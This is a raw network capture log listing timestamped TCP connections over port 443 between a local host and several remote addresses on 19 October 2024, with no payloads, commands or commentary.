Oct 19, 2024 00:14:34.290391922 CEST	443	50044	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:34.290410995 CEST	443	50044	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:34.290462017 CEST	443	50044	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:34.290469885 CEST	443	50048	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:34.290554047 CEST	50044	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:34.290554047 CEST	50044	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:34.290575027 CEST	443	50048	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:34.290616989 CEST	50048	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:34.291286945 CEST	443	50041	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:34.291316032 CEST	443	50041	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:34.291352987 CEST	50041	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:34.291368008 CEST	443	50041	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:34.291651011 CEST	443	50041	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:34.291690111 CEST	50041	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:34.292404890 CEST	443	50043	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:34.292424917 CEST	443	50043	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:34.292469025 CEST	443	50043	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:34.292490005 CEST	50043	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:34.292522907 CEST	50043	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:34.297175884 CEST	443	50042	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:34.297192097 CEST	443	50042	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:34.297247887 CEST	443	50042	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:34.297274113 CEST	50042	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:34.297312021 CEST	50042	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:34.304919004 CEST	443	50047	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:34.305089951 CEST	443	50047	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:34.305212021 CEST	50047	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:34.318391085 CEST	50049	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:34.318583965 CEST	443	50049	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:34.368628025 CEST	50049	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:34.372844934 CEST	50044	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:34.372889042 CEST	443	50044	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:34.372904062 CEST	50044	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:34.372911930 CEST	443	50044	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:34.377393007 CEST	50042	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:34.377420902 CEST	443	50042	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:34.377432108 CEST	50042	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:34.377438068 CEST	443	50042	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:34.397506952 CEST	50048	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:34.397550106 CEST	443	50048	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:34.397566080 CEST	50048	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:34.397572994 CEST	443	50048	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:34.411403894 CEST	443	50049	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:34.411525965 CEST	50041	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:34.411552906 CEST	443	50041	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:34.411564112 CEST	50041	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:34.411571026 CEST	443	50041	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:34.417109966 CEST	50043	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:34.417154074 CEST	443	50043	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:34.417170048 CEST	50043	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:34.417177916 CEST	443	50043	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:34.422770977 CEST	50054	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:34.422825098 CEST	443	50054	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:34.422890902 CEST	50054	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:34.426269054 CEST	50054	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:34.426285028 CEST	443	50054	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:34.432307959 CEST	50055	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:34.432351112 CEST	443	50055	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:34.432476044 CEST	50055	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:34.432782888 CEST	50055	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:34.432797909 CEST	443	50055	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:34.433461905 CEST	50045	443	192.168.2.10	13.107.246.44
Oct 19, 2024 00:14:34.433491945 CEST	443	50045	13.107.246.44	192.168.2.10
Oct 19, 2024 00:14:34.434082031 CEST	50047	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:34.434112072 CEST	443	50047	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:34.438488007 CEST	50056	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:34.438520908 CEST	443	50056	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:34.438575029 CEST	50056	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:34.440799952 CEST	50057	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:34.440829039 CEST	443	50057	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:34.440978050 CEST	50057	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:34.482748032 CEST	50056	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:34.482770920 CEST	443	50056	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:34.483259916 CEST	50057	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:34.483283997 CEST	443	50057	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:34.490072966 CEST	50058	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:34.490107059 CEST	443	50058	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:34.490252972 CEST	50058	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:34.490303040 CEST	50058	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:34.490310907 CEST	443	50058	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:34.495203972 CEST	443	50049	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:34.495225906 CEST	443	50049	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:34.495277882 CEST	50049	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:34.495297909 CEST	443	50049	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:34.495313883 CEST	443	50049	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:34.495348930 CEST	50049	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:34.496340990 CEST	50049	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:34.496352911 CEST	443	50049	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:34.500920057 CEST	50059	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:34.500952005 CEST	443	50059	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:34.501007080 CEST	50059	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:34.501224041 CEST	50059	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:34.501235008 CEST	443	50059	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:34.527640104 CEST	50060	443	192.168.2.10	13.107.246.44
Oct 19, 2024 00:14:34.527678967 CEST	443	50060	13.107.246.44	192.168.2.10
Oct 19, 2024 00:14:34.527806997 CEST	50060	443	192.168.2.10	13.107.246.44
Oct 19, 2024 00:14:34.527977943 CEST	50060	443	192.168.2.10	13.107.246.44
Oct 19, 2024 00:14:34.527996063 CEST	443	50060	13.107.246.44	192.168.2.10
Oct 19, 2024 00:14:34.535615921 CEST	50062	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:34.535670996 CEST	443	50062	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:34.535726070 CEST	50062	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:34.535928965 CEST	50062	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:34.535943985 CEST	443	50062	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:34.687838078 CEST	443	50052	203.170.84.122	192.168.2.10
Oct 19, 2024 00:14:34.692392111 CEST	50052	443	192.168.2.10	203.170.84.122
Oct 19, 2024 00:14:34.692435026 CEST	443	50052	203.170.84.122	192.168.2.10
Oct 19, 2024 00:14:34.692933083 CEST	443	50052	203.170.84.122	192.168.2.10
Oct 19, 2024 00:14:34.693392038 CEST	50052	443	192.168.2.10	203.170.84.122
Oct 19, 2024 00:14:34.693459034 CEST	443	50052	203.170.84.122	192.168.2.10
Oct 19, 2024 00:14:34.693556070 CEST	50052	443	192.168.2.10	203.170.84.122
Oct 19, 2024 00:14:34.739407063 CEST	443	50052	203.170.84.122	192.168.2.10
Oct 19, 2024 00:14:34.805613995 CEST	443	50053	152.199.21.175	192.168.2.10
Oct 19, 2024 00:14:34.806044102 CEST	50053	443	192.168.2.10	152.199.21.175
Oct 19, 2024 00:14:34.806065083 CEST	443	50053	152.199.21.175	192.168.2.10
Oct 19, 2024 00:14:34.807145119 CEST	443	50053	152.199.21.175	192.168.2.10
Oct 19, 2024 00:14:34.807219982 CEST	50053	443	192.168.2.10	152.199.21.175
Oct 19, 2024 00:14:34.808414936 CEST	50053	443	192.168.2.10	152.199.21.175
Oct 19, 2024 00:14:34.808414936 CEST	50053	443	192.168.2.10	152.199.21.175
Oct 19, 2024 00:14:34.808434010 CEST	443	50053	152.199.21.175	192.168.2.10
Oct 19, 2024 00:14:34.808482885 CEST	443	50053	152.199.21.175	192.168.2.10
Oct 19, 2024 00:14:34.853951931 CEST	50053	443	192.168.2.10	152.199.21.175
Oct 19, 2024 00:14:34.853966951 CEST	443	50053	152.199.21.175	192.168.2.10
Oct 19, 2024 00:14:34.900672913 CEST	50053	443	192.168.2.10	152.199.21.175
Oct 19, 2024 00:14:35.006743908 CEST	443	50052	203.170.84.122	192.168.2.10
Oct 19, 2024 00:14:35.006834030 CEST	443	50052	203.170.84.122	192.168.2.10
Oct 19, 2024 00:14:35.006911039 CEST	50052	443	192.168.2.10	203.170.84.122
Oct 19, 2024 00:14:35.007886887 CEST	50052	443	192.168.2.10	203.170.84.122
Oct 19, 2024 00:14:35.007906914 CEST	443	50052	203.170.84.122	192.168.2.10
Oct 19, 2024 00:14:35.054565907 CEST	443	50053	152.199.21.175	192.168.2.10
Oct 19, 2024 00:14:35.054625034 CEST	443	50053	152.199.21.175	192.168.2.10
Oct 19, 2024 00:14:35.054694891 CEST	443	50053	152.199.21.175	192.168.2.10
Oct 19, 2024 00:14:35.054718018 CEST	50053	443	192.168.2.10	152.199.21.175
Oct 19, 2024 00:14:35.054805994 CEST	50053	443	192.168.2.10	152.199.21.175
Oct 19, 2024 00:14:35.059412956 CEST	50053	443	192.168.2.10	152.199.21.175
Oct 19, 2024 00:14:35.059446096 CEST	443	50053	152.199.21.175	192.168.2.10
Oct 19, 2024 00:14:35.082709074 CEST	50064	443	192.168.2.10	152.199.21.175
Oct 19, 2024 00:14:35.082736969 CEST	443	50064	152.199.21.175	192.168.2.10
Oct 19, 2024 00:14:35.082874060 CEST	50064	443	192.168.2.10	152.199.21.175
Oct 19, 2024 00:14:35.083167076 CEST	50064	443	192.168.2.10	152.199.21.175
Oct 19, 2024 00:14:35.083173990 CEST	443	50064	152.199.21.175	192.168.2.10
Oct 19, 2024 00:14:35.173032999 CEST	443	50055	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:35.173844099 CEST	50055	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:35.173866034 CEST	443	50055	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:35.174511909 CEST	50055	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:35.174537897 CEST	443	50055	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:35.187110901 CEST	443	50054	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:35.187632084 CEST	50054	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:35.187655926 CEST	443	50054	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:35.187994957 CEST	50054	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:35.188007116 CEST	443	50054	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:35.211066008 CEST	443	50057	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:35.211498976 CEST	50057	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:35.211522102 CEST	443	50057	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:35.211965084 CEST	50057	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:35.211971045 CEST	443	50057	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:35.222033024 CEST	443	50056	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:35.222433090 CEST	50056	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:35.222453117 CEST	443	50056	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:35.222938061 CEST	50056	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:35.222944021 CEST	443	50056	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:35.243194103 CEST	443	50058	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:35.243626118 CEST	50058	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:35.243640900 CEST	443	50058	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:35.244091988 CEST	50058	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:35.244096041 CEST	443	50058	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:35.255903959 CEST	443	50059	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:35.258563995 CEST	50059	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:35.258578062 CEST	443	50059	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:35.258966923 CEST	443	50059	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:35.259303093 CEST	50059	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:35.259391069 CEST	443	50059	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:35.259459972 CEST	50059	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:35.262198925 CEST	443	50060	13.107.246.44	192.168.2.10
Oct 19, 2024 00:14:35.265626907 CEST	50060	443	192.168.2.10	13.107.246.44
Oct 19, 2024 00:14:35.265646935 CEST	443	50060	13.107.246.44	192.168.2.10
Oct 19, 2024 00:14:35.266074896 CEST	443	50060	13.107.246.44	192.168.2.10
Oct 19, 2024 00:14:35.266386986 CEST	50060	443	192.168.2.10	13.107.246.44
Oct 19, 2024 00:14:35.266441107 CEST	443	50060	13.107.246.44	192.168.2.10
Oct 19, 2024 00:14:35.266529083 CEST	50060	443	192.168.2.10	13.107.246.44
Oct 19, 2024 00:14:35.274240017 CEST	443	50062	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:35.274524927 CEST	50062	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:35.274588108 CEST	443	50062	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:35.276067972 CEST	443	50062	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:35.276134014 CEST	50062	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:35.276520967 CEST	50062	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:35.276608944 CEST	443	50062	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:35.276669979 CEST	50062	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:35.276689053 CEST	443	50062	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:35.302059889 CEST	443	50055	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:35.302824020 CEST	443	50055	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:35.302926064 CEST	50055	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:35.302926064 CEST	50055	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:35.302969933 CEST	50055	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:35.302989960 CEST	443	50055	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:35.303402901 CEST	443	50059	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:35.305874109 CEST	50065	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:35.305911064 CEST	443	50065	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:35.306123972 CEST	50065	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:35.306124926 CEST	50065	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:35.306154013 CEST	443	50065	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:35.311397076 CEST	443	50060	13.107.246.44	192.168.2.10
Oct 19, 2024 00:14:35.322371960 CEST	50062	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:35.334650993 CEST	443	50054	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:35.334732056 CEST	443	50054	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:35.334794998 CEST	50054	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:35.334933043 CEST	50054	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:35.334947109 CEST	443	50054	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:35.334958076 CEST	50054	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:35.334964037 CEST	443	50054	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:35.337512970 CEST	50066	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:35.337563038 CEST	443	50066	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:35.337651014 CEST	50066	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:35.337774992 CEST	50066	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:35.337788105 CEST	443	50066	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:35.340878010 CEST	443	50057	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:35.340905905 CEST	443	50057	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:35.340967894 CEST	443	50057	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:35.341000080 CEST	50057	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:35.341021061 CEST	50057	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:35.341087103 CEST	50057	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:35.341099024 CEST	443	50057	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:35.341109037 CEST	50057	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:35.341114044 CEST	443	50057	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:35.343586922 CEST	50067	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:35.343615055 CEST	443	50067	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:35.343693972 CEST	50067	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:35.343812943 CEST	50067	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:35.343822002 CEST	443	50067	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:35.352894068 CEST	443	50056	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:35.353070974 CEST	443	50056	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:35.353147030 CEST	50056	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:35.353164911 CEST	50056	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:35.353164911 CEST	50056	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:35.353173971 CEST	443	50056	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:35.353182077 CEST	443	50056	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:35.377989054 CEST	443	50058	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:35.378015041 CEST	443	50058	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:35.378123999 CEST	50058	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:35.378150940 CEST	443	50058	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:35.389971018 CEST	443	50059	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:35.390067101 CEST	443	50059	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:35.390132904 CEST	50059	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:35.392126083 CEST	443	50060	13.107.246.44	192.168.2.10
Oct 19, 2024 00:14:35.392149925 CEST	443	50060	13.107.246.44	192.168.2.10
Oct 19, 2024 00:14:35.392204046 CEST	50060	443	192.168.2.10	13.107.246.44
Oct 19, 2024 00:14:35.392218113 CEST	443	50060	13.107.246.44	192.168.2.10
Oct 19, 2024 00:14:35.392329931 CEST	443	50060	13.107.246.44	192.168.2.10
Oct 19, 2024 00:14:35.392371893 CEST	50060	443	192.168.2.10	13.107.246.44
Oct 19, 2024 00:14:35.395363092 CEST	50058	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:35.395379066 CEST	443	50058	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:35.395411968 CEST	50058	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:35.395576954 CEST	443	50058	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:35.395612001 CEST	443	50058	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:35.395657063 CEST	50058	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:35.399280071 CEST	50068	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:35.399318933 CEST	443	50068	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:35.399405003 CEST	50068	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:35.399698973 CEST	50068	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:35.399713039 CEST	443	50068	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:35.401133060 CEST	50069	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:35.401180029 CEST	443	50069	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:35.401236057 CEST	50069	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:35.403129101 CEST	50059	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:35.403146982 CEST	443	50059	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:35.403525114 CEST	50060	443	192.168.2.10	13.107.246.44
Oct 19, 2024 00:14:35.403539896 CEST	443	50060	13.107.246.44	192.168.2.10
Oct 19, 2024 00:14:35.406922102 CEST	50069	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:35.406940937 CEST	443	50069	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:35.446970940 CEST	443	50062	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:35.447223902 CEST	443	50062	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:35.447309017 CEST	50062	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:35.448576927 CEST	50062	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:35.448611021 CEST	443	50062	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:35.463637114 CEST	50070	443	192.168.2.10	13.107.246.44
Oct 19, 2024 00:14:35.463676929 CEST	443	50070	13.107.246.44	192.168.2.10
Oct 19, 2024 00:14:35.463769913 CEST	50070	443	192.168.2.10	13.107.246.44
Oct 19, 2024 00:14:35.463989973 CEST	50070	443	192.168.2.10	13.107.246.44
Oct 19, 2024 00:14:35.463999987 CEST	443	50070	13.107.246.44	192.168.2.10
Oct 19, 2024 00:14:36.059446096 CEST	443	50065	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:36.060209990 CEST	50065	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:36.060231924 CEST	443	50065	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:36.060635090 CEST	50065	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:36.060640097 CEST	443	50065	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:36.075333118 CEST	443	50066	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:36.075859070 CEST	443	50067	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:36.075861931 CEST	50066	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:36.075876951 CEST	443	50066	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:36.076122999 CEST	50067	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:36.076134920 CEST	443	50067	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:36.076344967 CEST	50066	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:36.076349974 CEST	443	50066	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:36.076641083 CEST	50067	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:36.076644897 CEST	443	50067	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:36.137037992 CEST	443	50064	152.199.21.175	192.168.2.10
Oct 19, 2024 00:14:36.137348890 CEST	50064	443	192.168.2.10	152.199.21.175
Oct 19, 2024 00:14:36.137376070 CEST	443	50064	152.199.21.175	192.168.2.10
Oct 19, 2024 00:14:36.138406992 CEST	443	50064	152.199.21.175	192.168.2.10
Oct 19, 2024 00:14:36.138480902 CEST	50064	443	192.168.2.10	152.199.21.175
Oct 19, 2024 00:14:36.138845921 CEST	50064	443	192.168.2.10	152.199.21.175
Oct 19, 2024 00:14:36.138897896 CEST	443	50064	152.199.21.175	192.168.2.10
Oct 19, 2024 00:14:36.139231920 CEST	50064	443	192.168.2.10	152.199.21.175
Oct 19, 2024 00:14:36.139244080 CEST	443	50064	152.199.21.175	192.168.2.10
Oct 19, 2024 00:14:36.155257940 CEST	443	50069	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:36.156193972 CEST	50069	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:36.156222105 CEST	443	50069	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:36.156672955 CEST	50069	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:36.156680107 CEST	443	50069	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:36.160238981 CEST	443	50068	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:36.160620928 CEST	50068	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:36.160640001 CEST	443	50068	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:36.160998106 CEST	50068	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:36.161001921 CEST	443	50068	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:36.181744099 CEST	50064	443	192.168.2.10	152.199.21.175
Oct 19, 2024 00:14:36.200449944 CEST	50071	443	192.168.2.10	104.17.24.14
Oct 19, 2024 00:14:36.200498104 CEST	443	50071	104.17.24.14	192.168.2.10
Oct 19, 2024 00:14:36.200562954 CEST	50071	443	192.168.2.10	104.17.24.14
Oct 19, 2024 00:14:36.201436996 CEST	50071	443	192.168.2.10	104.17.24.14
Oct 19, 2024 00:14:36.201448917 CEST	443	50071	104.17.24.14	192.168.2.10
Oct 19, 2024 00:14:36.204996109 CEST	443	50066	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:36.205013990 CEST	443	50066	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:36.205101013 CEST	443	50066	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:36.205144882 CEST	50066	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:36.205144882 CEST	50066	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:36.205352068 CEST	50066	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:36.205365896 CEST	443	50066	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:36.205395937 CEST	50066	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:36.205401897 CEST	443	50066	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:36.208214045 CEST	50072	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:36.208256960 CEST	443	50072	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:36.208451033 CEST	50072	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:36.208564043 CEST	50072	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:36.208575010 CEST	443	50072	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:36.219187975 CEST	443	50070	13.107.246.44	192.168.2.10
